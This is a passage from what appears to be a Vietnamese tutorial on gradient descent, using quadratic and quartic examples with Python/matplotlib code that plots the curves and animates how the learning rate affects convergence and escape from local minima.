<p>Gọi hàm <span class="math">\(y = x^2 - 2x - 5\)</span>. Đạo hàm bậc nhất của hàm này là <span class="math">\(y^\prime = 2x - 2\)</span>, có nghiệm tại <span class="math">\(x = 1\)</span>. Đồ thị của hàm này được thể hiện trong hình sau.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/gradient-descent-1.png" />
<p class="caption">Đồ thị và tiếp tuyến tại ba điểm</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">math</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">5</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">2</span>
<span class="k">def</span> <span class="nf">tangent</span><span class="p">(</span><span class="n">x0</span><span class="p">):</span>
<span class="n">slope</span> <span class="o">=</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">x0</span><span class="p">)</span>
<span class="n">angle</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">atan</span><span class="p">(</span><span class="n">slope</span><span class="p">)</span>
<span class="n">magnitude</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">abs</span><span class="p">(</span><span class="n">slope</span><span class="p">))</span>
<span class="n">y0</span> <span class="o">=</span> <span class="n">f</span><span class="p">(</span><span class="n">x0</span><span class="p">)</span>
<span class="n">dx</span> <span class="o">=</span> <span class="n">magnitude</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">cos</span><span class="p">(</span><span class="n">angle</span><span class="p">)</span>
<span class="n">dy</span> <span class="o">=</span> <span class="n">dx</span> <span class="o">*</span> <span class="n">slope</span>
<span class="k">return</span> <span class="n">x0</span><span class="p">,</span> <span class="n">y0</span><span class="p">,</span> <span class="n">dx</span><span class="p">,</span> <span class="n">dy</span>
<span class="n">xs</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">250</span><span class="p">,</span> <span class="mi">450</span><span class="p">))</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">]</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="s1">'b-'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="mi">1</span><span class="p">)],</span> <span class="s1">'yo'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">arrow</span><span class="p">(</span><span class="o">*</span><span class="n">tangent</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">),</span> <span class="n">width</span><span class="o">=</span><span class="mf">0.07</span><span class="p">,</span> <span class="n">fc</span><span class="o">=</span><span class="s1">'red'</span><span class="p">,</span> <span class="n">ec</span><span class="o">=</span><span class="s1">'none'</span><span class="p">,</span> <span class="n">zorder</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="o">*</span><span class="n">tangent</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">)[:</span><span class="mi">2</span><span class="p">],</span> <span class="n">marker</span><span class="o">=</span><span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'red'</span><span class="p">,</span> <span class="n">zorder</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">arrow</span><span class="p">(</span><span class="o">*</span><span class="n">tangent</span><span class="p">(</span><span class="mi">2</span><span class="p">),</span> <span class="n">width</span><span class="o">=</span><span class="mf">0.07</span><span class="p">,</span> <span class="n">fc</span><span class="o">=</span><span class="s1">'green'</span><span class="p">,</span> <span class="n">ec</span><span class="o">=</span><span class="s1">'none'</span><span class="p">,</span> <span class="n">zorder</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="o">*</span><span class="n">tangent</span><span class="p">(</span><span class="mi">2</span><span class="p">)[:</span><span class="mi">2</span><span class="p">],</span> <span class="n">marker</span><span class="o">=</span><span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'green'</span><span class="p">,</span> <span class="n">zorder</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'gradient-descent-1.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Nếu chúng ta lập bảng biến thiên, chúng ta sẽ có bảng sau:</p>
<div class="math">
\begin{equation*}
\begin{array}{c|cccccc}
x & -\infty & & & & +\infty \\
\hline
f^\prime(x) & & - & 1 & + & & \\
\hline
f(x) & +\infty & & & & +\infty \\
& & \searrow & & \nearrow & \\
& & & -6 & &
\end{array}
\end{equation*}
</div>
<p>Dựa vào bảng biến thiên, ta thấy rằng giá trị của hàm giảm xuống khi biến số tiến từ <span class="math">\(-\infty\)</span> đến nghiệm của đạo hàm bậc nhất và tăng lên khi biến số tiếp tục tiến về <span class="math">\(+\infty\)</span>. Dựa vào đồ thị, ta thấy độ tăng hay giảm giá trị của hàm (trên trục <span class="math">\(y\)</span>) phụ thuộc vào góc của tiếp tuyến, cũng là giá trị của đạo hàm bậc nhất. Tổng hợp hai nhận xét này, chúng ta đi đến kết luận chủ đạo của kỹ thuật xuống dốc:</p>
<ol class="arabic simple">
<li>Khi giá trị của đạo hàm bậc nhất là <em>âm</em> (tức là dốc xuống), ta cần <em>tăng</em> giá trị của biến (đi xuống theo dốc). Khi giá trị đó là <em>dương</em> (tức là dốc lên), ta cần <em>giảm</em> giá trị của biến (đi xuống ngược dốc). Nói một cách khác, giá trị biến cần phải thay đổi theo chiều ngược lại so với dấu của đạo hàm. Đây là lý do của tên gọi của kỹ thuật này.</li>
<li>Ta có thể dùng giá trị của đạo hàm bậc nhất để điều chỉnh độ tăng / giảm của biến.</li>
</ol>
<p>Từ hai kết luận chủ đạo đó, ta lập ra công thức cập nhật biến theo kỹ thuật xuống dốc như sau:</p>
<div class="math">
\begin{equation*}
x^{(t+1)} = x^{(t)} - \alpha \times f^\prime \left( x^{(t)} \right)
\end{equation*}
</div>
<p>Ký hiệu <span class="math">\(x^{(t)}\)</span> có nghĩa là giá trị của biến <span class="math">\(x\)</span> tại thời điểm <span class="math">\(t\)</span>. Dấu trừ trong công thức trên thể hiện điểm 1, và tích của <span class="math">\(\alpha\)</span> với đạo hàm bậc nhất thể hiện điểm 2.</p>
<p>Hệ số <span class="math">\(\alpha > 0\)</span> được gọi là tốc độ học (learning rate). Nhiều tài liệu khác sử dụng ký hiệu <span class="math">\(\eta\)</span> hay <span class="math">\(\gamma\)</span> để chỉ cùng một ý. Khi tốc độ học lớn, sự thay đổi của biến cũng cao, và ngược lại. Trong thực tế, tốc độ học thường được làm giảm dần (decay) theo thời gian nhằm tránh trường hợp biến nhảy qua nhảy lại ở hai bên điểm cực tiểu.</p>
<p>Cuối cùng, cài đặt kỹ thuật xuống dốc để tìm điểm cực tiểu trong ví dụ này đơn giản như sau:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">2</span>
<span class="c1"># Chọn ngẫu nhiên giá trị ban đầu của x.</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="o">-</span><span class="n">sys</span><span class="o">.</span><span class="n">maxint</span><span class="p">,</span> <span class="n">sys</span><span class="o">.</span><span class="n">maxint</span><span class="p">)</span>
<span class="c1"># Chọn alpha vừa phải.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.1</span>
<span class="c1"># Lặp 1000 lần.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1000</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">x</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</pre></div>
<p>Kết quả nhận được khi chạy chương trình này trùng khớp với điểm cực tiểu:</p>
<pre class="literal-block">
1.0
</pre>
</div>
<div class="section" id="xem-xet-anh-huong-cua-toc-do-hoc">
<h3>Xem xét ảnh hưởng của tốc độ học</h3>
<p>Đoạn ảnh sau minh họa ảnh hưởng của hệ số <span class="math">\(\alpha\)</span> đến việc xuống dốc. Hai điểm đỏ và xanh lá cây ở trong hình đều xuất phát cùng một chỗ. Ở bên trái, với tốc độ học thấp, chúng ta thấy điểm đỏ di chuyển khá chậm. Ở bên phải, với tốc độ học cao hơn, ta thấy điểm xanh chỉ chuyển từ nhánh phải qua nhánh trái mà không thật sự đi xuống.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/gradient-descent-2.webp" />
<p class="caption">Ảnh hưởng của tốc độ học</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">animation</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">5</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">2</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">t</span><span class="p">):</span>
<span class="k">global</span> <span class="n">dot1</span><span class="p">,</span> <span class="n">dot2</span><span class="p">,</span> <span class="n">x_slow</span><span class="p">,</span> <span class="n">x_bounce</span>
<span class="n">x_slow</span> <span class="o">=</span> <span class="n">x_slow</span> <span class="o">-</span> <span class="mf">0.02</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">x_slow</span><span class="p">)</span>
<span class="n">x_bounce</span> <span class="o">=</span> <span class="n">x_bounce</span> <span class="o">-</span> <span class="mf">1.0</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">x_bounce</span><span class="p">)</span>
<span class="n">dot1</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x_slow</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x_slow</span><span class="p">)])</span>
<span class="n">dot2</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x_bounce</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x_bounce</span><span class="p">)])</span>
<span class="n">plt</span><span class="o">.</span><span class="n">suptitle</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Bước </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">t</span><span class="p">))</span>
<span class="c1"># Cùng bắt đầu từ một điểm.</span>
<span class="n">x_slow</span> <span class="o">=</span> <span class="mf">2.5</span>
<span class="n">x_bounce</span> <span class="o">=</span> <span class="mf">2.5</span>
<span class="n">xs</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">100</span><span class="p">,</span> <span class="mi">300</span><span class="p">))</span>
<span class="n">fig</span><span class="p">,</span> <span class="p">(</span><span class="n">ax1</span><span class="p">,</span> <span class="n">ax2</span><span class="p">)</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">subplots</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">ax1</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">])</span>
<span class="n">ax1</span><span class="o">.</span><span class="n">set_title</span><span class="p">(</span><span class="sa">r</span><span class="s1">'$\alpha = 0.02$'</span><span class="p">)</span>
<span class="n">dot1</span> <span class="o">=</span> <span class="n">ax1</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x_slow</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x_slow</span><span class="p">)],</span> <span class="s1">'ro'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">ax2</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">])</span>
<span class="n">ax2</span><span class="o">.</span><span class="n">set_title</span><span class="p">(</span><span class="sa">r</span><span class="s1">'$\alpha = 1.0$'</span><span class="p">)</span>
<span class="n">dot2</span> <span class="o">=</span> <span class="n">ax2</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x_bounce</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x_bounce</span><span class="p">)],</span> <span class="s1">'go'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">anim</span> <span class="o">=</span> <span class="n">animation</span><span class="o">.</span><span class="n">FuncAnimation</span><span class="p">(</span><span class="n">fig</span><span class="p">,</span> <span class="n">run</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">frames</span><span class="o">=</span><span class="mi">40</span><span class="p">)</span>
<span class="n">anim</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'gradient-descent-2.gif'</span><span class="p">,</span> <span class="n">writer</span><span class="o">=</span><span class="s1">'imagemagick'</span><span class="p">)</span>
</pre></div>
</div>
</div>
</div>
</div>
<div class="section" id="tim-diem-cuc-tieu-cua-ham-bac-4">
<h2>Tìm điểm cực tiểu của hàm bậc 4</h2>
<p>Ví dụ kế tiếp của chúng ta là một hàm bậc 4. Chúng ta sẽ xem xét hàm <span class="math">\(y = x^4 + 4x^3 + x^2 - 4x + 3\)</span>. Đạo hàm bậc nhất là <span class="math">\(y^\prime = 4x^3 + 12x^2 + 2x - 4\)</span>. Đồ thị của hàm này được thể hiện trong hình bên dưới.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/gradient-descent-3.png" />
<p class="caption">Đồ thị hàm bậc 4 với hai cực tiểu</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">**</span><span class="mi">4</span> <span class="o">+</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="mi">3</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">360</span><span class="p">,</span> <span class="mi">140</span><span class="p">)]</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">]</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">grid</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axhline</span><span class="p">(</span><span class="n">y</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'black'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">axvline</span><span class="p">(</span><span class="n">x</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'black'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'gradient-descent-3.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<div class="section" id="cuc-tieu-cuc-bo-va-cuc-tieu-toan-cuc">
<h3>Cực tiểu cục bộ và cực tiểu toàn cục</h3>
<p>Chúng ta thấy rằng đồ thị trên có hai điểm cực tiểu cục bộ. Điểm cực tiểu cục bộ bên trái cũng là điểm cực tiểu toàn cục. Hình sau minh họa kỹ thuật xuống dốc với bốn điểm khởi đầu ngẫu nhiên.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/gradient-descent-4.webp" />
<p class="caption">Xuống dốc với khởi đầu ngẫu nhiên</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">animation</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">**</span><span class="mi">4</span> <span class="o">+</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="mi">3</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">12</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">4</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">t</span><span class="p">):</span>
<span class="k">global</span> <span class="n">alpha</span><span class="p">,</span> <span class="n">dot_xs</span><span class="p">,</span> <span class="n">dots</span>
<span class="p">[</span><span class="n">dot</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">)])</span> <span class="k">for</span> <span class="n">dot</span><span class="p">,</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">dots</span><span class="p">,</span> <span class="n">dot_xs</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">dot_xs</span><span class="p">)):</span>
<span class="n">dot_xs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">dot_xs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">dot_xs</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="c1"># Khởi tạo ngẫu nhiên.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">360</span><span class="p">,</span> <span class="mi">140</span><span class="p">))</span>
<span class="n">nr_dots</span> <span class="o">=</span> <span class="mi">4</span>
<span class="n">dot_xs</span> <span class="o">=</span> <span class="p">[</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="n">xs</span><span class="p">),</span> <span class="nb">max</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">nr_dots</span><span class="p">)]</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.01</span>
<span class="n">fig</span><span class="p">,</span> <span class="n">ax</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">subplots</span><span class="p">()</span>
<span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">])</span>
<span class="n">dots</span> <span class="o">=</span> <span class="p">[</span><span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">)],</span> <span class="s1">'o'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">dot_xs</span><span class="p">]</span>
<span class="n">anim</span> <span class="o">=</span> <span class="n">animation</span><span class="o">.</span><span class="n">FuncAnimation</span><span class="p">(</span><span class="n">fig</span><span class="p">,</span> <span class="n">run</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">frames</span><span class="o">=</span><span class="mi">40</span><span class="p">)</span>
<span class="n">anim</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'gradient-descent-4.gif'</span><span class="p">,</span> <span class="n">writer</span><span class="o">=</span><span class="s1">'imagemagick'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Ta thấy rằng tùy vào vị trí khởi đầu mà điểm tròn có thể lọt vào cực tiểu cục bộ hay cực tiểu toàn cục. Nhận xét này dẫn đến một cách đơn giản để tăng cao tỷ lệ tìm được cực tiểu toàn cục: lập lại việc xuống dốc nhiều lần với khởi điểm khác nhau.</p>
</div>
<div class="section" id="anh-huong-khac-cua-toc-do-hoc">
<h3>Ảnh hưởng khác của tốc độ học</h3>
<p>Ví dụ đầu tiên trong bài viết này đã cho thấy ảnh hưởng của tốc độ học đến việc hội tụ của kỹ thuật xuống dốc. Trong ví dụ này, chúng ta sẽ thấy một ảnh hưởng khác của tốc độ học.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/gradient-descent-5.webp" />
<p class="caption">Tốc độ học lớn có thể giúp nhảy qua hố</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">animation</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">**</span><span class="mi">4</span> <span class="o">+</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="mi">3</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">4</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">12</span><span class="o">*</span><span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span> <span class="o">-</span> <span class="mi">4</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">t</span><span class="p">):</span>
<span class="c1"># Chờ 10 khung hình đầu tiên.</span>
<span class="k">if</span> <span class="n">t</span> <span class="o"><</span> <span class="mi">10</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">global</span> <span class="n">alpha</span><span class="p">,</span> <span class="n">dot_x</span><span class="p">,</span> <span class="n">dot</span>
<span class="n">dot</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">dot_x</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">dot_x</span><span class="p">)])</span>
<span class="n">dot_x</span> <span class="o">=</span> <span class="n">dot_x</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">dot_x</span><span class="p">)</span>
<span class="n">dot_x</span> <span class="o">=</span> <span class="mf">1.2</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.12</span>
<span class="n">xs</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="o">-</span><span class="mi">360</span><span class="p">,</span> <span class="mi">140</span><span class="p">))</span>
<span class="n">fig</span><span class="p">,</span> <span class="n">ax</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">subplots</span><span class="p">()</span>
<span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">])</span>
<span class="n">dot</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">dot_x</span><span class="p">],</span> <span class="p">[</span><span class="n">f</span><span class="p">(</span><span class="n">dot_x</span><span class="p">)],</span> <span class="s1">'o'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">anim</span> <span class="o">=</span> <span class="n">animation</span><span class="o">.</span><span class="n">FuncAnimation</span><span class="p">(</span><span class="n">fig</span><span class="p">,</span> <span class="n">run</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">frames</span><span class="o">=</span><span class="mi">40</span><span class="p">)</span>
<span class="n">anim</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'gradient-descent-5.gif'</span><span class="p">,</span> <span class="n">writer</span><span class="o">=</span><span class="s1">'imagemagick'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Chúng ta thấy là sự thay đổi lớn (vì tốc độ học lớn) có thể giúp thoát ra khỏi hố cực tiểu cục bộ. Tuy nhiên, tốc độ học lớn cũng dẫn đến việc hội tụ khó khăn hơn. Để giải quyết vấn đề hội tụ, người ta thường giảm (decay) tốc độ học theo thời gian. Việc này sẽ làm cho sự thay đổi của biến qua các bước giảm dần, dẫn đến việc hạn chế hiện tượng nhảy qua nhảy lại như trong hình.</p>
